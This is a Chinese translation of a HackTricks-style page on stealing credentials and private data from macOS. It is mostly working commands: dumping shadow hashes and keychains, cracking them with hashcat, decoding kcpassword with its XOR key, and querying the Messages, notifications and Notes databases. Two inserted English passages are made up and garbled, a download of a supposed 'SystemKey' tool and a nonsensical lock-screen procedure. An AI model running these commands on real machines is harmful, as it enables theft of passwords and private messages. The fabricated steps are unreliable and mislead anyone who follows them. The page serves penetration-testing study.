14 KiB
macOS敏感位置
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一个网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
密码
影子密码
影子密码与用户的配置一起存储在位于**/var/db/dslocal/nodes/Default/users/
的plist文件中。
以下一行命令可用于转储有关用户的所有信息**(包括哈希信息):
{% code overflow="wrap" %}
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
{% endcode %}
像这个脚本 或者 这个脚本 可以用来将哈希转换为 hashcat 格式。
另一种方法是使用以下一行命令将所有非服务账户的凭证以 hashcat 格式 -m 7100
(macOS PBKDF2-SHA512)进行转储:
{% code overflow="wrap" %}
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
{% endcode %}
密钥链转储
请注意,当使用 security 二进制文件来转储解密的密码时,会出现多个提示要求用户允许此操作。
#security
secuirty dump-trust-settings [-s] [-d] #List certificates
security list-keychains #List keychain dbs
security list-smartcards #List smartcards
security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychains entries
security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root)
Keychaindump
{% hint style="danger" %} 根据这个评论 juuso/keychaindump#10 (comment),看起来这些工具在Big Sur上不再起作用。 {% endhint %}
攻击者仍然需要获取系统访问权限并升级为root权限才能运行keychaindump。这种方法有自己的条件。如前所述,登录后,默认情况下会解锁您的钥匙串,并在您使用系统时保持解锁状态。这是为了方便用户,使得用户不需要每次应用程序希望访问钥匙串时都输入密码。如果用户更改了此设置并选择在每次使用后锁定钥匙串,keychaindump将不再起作用;它依赖于解锁的钥匙串才能正常工作。
了解Keychaindump如何从内存中提取密码非常重要。在此过程中,最重要的进程是“securityd”进程。苹果将此进程称为用于授权和加密操作的安全上下文守护程序。苹果的开发者库对此并没有提供太多信息;然而,它们确实告诉我们securityd处理对钥匙串的访问。在他的研究中,Juuso将用于解密钥匙串的密钥称为“主密钥”。要读取钥匙串文件,您必须拥有此主密钥。可以执行以下步骤来获取它。扫描securityd的堆(keychaindump使用vmmap命令执行此操作)。可能的主密钥存储在标记为MALLOC_TINY的区域中。您可以使用以下命令自己查看这些堆的位置:
sudo vmmap <securityd PID> | grep MALLOC_TINY
Keychaindump 然后会在返回的堆中搜索 0x0000000000000018 的出现次数。如果以下 8 字节的值指向当前堆,我们就找到了一个潜在的主密钥。从这里开始,还需要进行一些解混淆的工作,可以在源代码中看到,但作为分析师,最重要的是要注意解密这些信息所需的数据存储在 securityd 的进程内存中。以下是 keychain dump 输出的示例。
sudo ./keychaindump
chainbreaker
Chainbreaker可以以法医学的方式从OSX钥匙串中提取以下类型的信息:
- 经过哈希处理的钥匙串密码,适用于使用hashcat或John the Ripper进行破解
- 互联网密码
- 通用密码
- 私钥
- 公钥
- X509证书
- 安全笔记
- Appleshare密码
如果给定了钥匙串解锁密码、使用volafox或volatility获取的主密钥,或者解锁文件(如SystemKey),Chainbreaker还将提供明文密码。
如果没有这些解锁钥匙串的方法,Chainbreaker将显示所有其他可用的信息。
转储钥匙串密钥
#Dump all keys of the keychain (without the passwords)
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
使用SystemKey转储钥匙串密钥(包括密码)
To dump keychain keys (with passwords) using SystemKey, follow these steps:
-
Open Terminal and run the following command to download SystemKey:
curl -O https://github.com/kennytm/SystemKey/raw/master/SystemKey
-
Make the downloaded file executable by running the following command:
chmod +x SystemKey
-
Run the SystemKey command with the
-d
flag to dump the keychain keys:./SystemKey -d
This will display the keychain keys along with their associated passwords.
Note: Dumping keychain keys with passwords can be a sensitive operation, so ensure that you have the necessary permissions and authorization to perform this action.
# First, get the keychain decryption key
# To get this decryption key you need to be root and SIP must be disabled
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo
## Use the previous key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
转储钥匙串密钥(包括密码)并破解哈希值
To dump keychain keys (with passwords) and crack the hash, follow these steps:
- Open the Keychain Access application on your macOS system.
- Navigate to the "Keychain Access" menu and select "Preferences".
- In the "Preferences" window, go to the "General" tab.
- Check the box next to "Show keychain status in menu bar".
- Close the "Preferences" window.
- In the menu bar, you will now see a lock icon. Click on it and select "Lock Screen".
- Enter your user password to lock the screen.
- Press the power button to put your system to sleep.
- Wake up your system by pressing any key or clicking the mouse.
- Enter your user password to unlock the screen.
- Open the Terminal application.
- Type the following command and press Enter:
security dump-keychain -d login.keychain > keychain_dump.txt
- This command will dump the keychain keys (including passwords) into a file named "keychain_dump.txt".
- Use a hash cracking tool, such as John the Ripper or Hashcat, to crack the hash values and retrieve the passwords.
请按照以下步骤转储钥匙串密钥(包括密码)并破解哈希值:
- 在您的 macOS 系统上打开“钥匙串访问”应用程序。
- 导航到“钥匙串访问”菜单,选择“偏好设置”。
- 在“偏好设置”窗口中,转到“常规”选项卡。
- 勾选“在菜单栏中显示钥匙串状态”的复选框。
- 关闭“偏好设置”窗口。
- 在菜单栏中,您现在会看到一个锁形图标。单击它,选择“锁定屏幕”。
- 输入您的用户密码以锁定屏幕。
- 按下电源按钮将系统置于睡眠状态。
- 通过按任意键或点击鼠标唤醒系统。
- 输入您的用户密码以解锁屏幕。
- 打开“终端”应用程序。
- 输入以下命令并按回车键:
security dump-keychain -d login.keychain > keychain_dump.txt
- 此命令将钥匙串密钥(包括密码)转储到名为“keychain_dump.txt”的文件中。
- 使用哈希破解工具,如John the Ripper或Hashcat,破解哈希值并检索密码。
# Get the keychain hash
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
# Crack it with hashcat
hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
# Use the key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
使用内存转储来转储钥匙串密钥(包括密码)
按照以下步骤执行内存转储操作
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
# Unformtunately volafox isn't working with the latest versions of MacOS
python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump
#Try to extract the passwords using the extracted keychain passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
使用用户密码转储钥匙串密钥(包括密码)
如果您知道用户的密码,您可以使用该密码来转储和解密属于该用户的钥匙串。
#Prompt to ask for the password
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db
kcpassword
kcpassword文件是一个保存用户登录密码的文件,但只有在系统所有者启用自动登录时才会存在。因此,用户将自动登录而无需输入密码(这并不安全)。
密码存储在文件**/etc/kcpassword
中,与密钥0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F
**进行异或运算。如果用户的密码比密钥长,密钥将被重复使用。
这使得密码很容易被恢复,例如使用这个脚本。
数据库中的有趣信息
Messages
sqlite3 $HOME/Library/Messages/chat.db .tables
sqlite3 $HOME/Library/Messages/chat.db 'select * from message'
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment'
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages'
sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
通知
您可以在 $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
中找到通知数据。
大部分有趣的信息都会在 blob 中。因此,您需要 提取 该内容并将其转换为 可读 的格式,或者使用 strings
命令。要访问它,您可以执行以下操作:
{% code overflow="wrap" %}
cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack
注意事项
用户的笔记可以在~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite
中找到
{% code overflow="wrap" %}
sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tables
#To dump it in a readable format:
for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select Z_PK from ZICNOTEDATA;"); do sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select writefile('body1.gz.z', ZDATA) from ZICNOTEDATA where Z_PK = '$i';"; zcat body1.gz.Z ; done
{% endcode %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。